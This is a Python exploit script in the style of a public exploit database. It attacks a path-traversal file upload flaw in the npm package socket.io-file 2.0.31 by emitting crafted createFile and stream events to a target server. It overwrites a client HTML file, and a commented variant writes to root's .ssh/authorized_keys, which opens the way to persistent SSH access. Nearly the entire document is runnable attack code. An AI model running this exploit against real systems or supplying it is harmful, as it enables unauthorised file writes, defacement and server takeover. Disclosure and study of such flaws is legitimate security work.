59 lines
No EOL
2.3 KiB
Text
59 lines
No EOL
2.3 KiB
Text
# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload
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# Date: 2020-07-02
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# Exploit Author: Cr0wTom
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# Vendor Homepage: https://www.npmjs.com/package/socket.io-file
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# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31
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# Version: <= v2.0.31
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# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
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# CVE: -
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# Requirements: pip install socketIO-client-nexus==0.7.6
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#!/usr/bin/env python
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import sys
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import json
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import os
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from socketIO_client_nexus import SocketIO, LoggingNamespace
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def file_creation(RHOST, RPORT):
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print ('Initiating connection...')
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with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:
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print ('Creating file...')
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# Example server running in /home/testuser/Documents/socket-app so customize the path appropriately
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# Change the "name" option if you want to create an other file in an different path of the system
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socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})
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# Example for server running with root access:
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# socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})
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print ('Writing data to file...')
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# Add the data you want to get written to the file
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data = "Exploited by Cr0wTom"
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json_string = json.dumps(data)
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socketIO.once("socket.io-file::request::u_0", on_aaa_response)
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socketIO.emit("socket.io-file::stream::u_0", json_string)
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def on_aaa_response(*args):
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print('on_aaa_response', args)
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def print_usage():
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print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
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print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
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print ('Usage: python3 exploit.py <RHOST> <RPORT>')
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print ('RHOST The target host IP address or domain.')
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print ('RPORT The target host port number of the nodejs server.')
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if __name__ == '__main__':
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# ensure we have at least an IP and Port
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if len(sys.argv) < 3:
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print_usage()
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sys.exit(1)
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print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
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print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
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file_creation(sys.argv[1], sys.argv[2]) |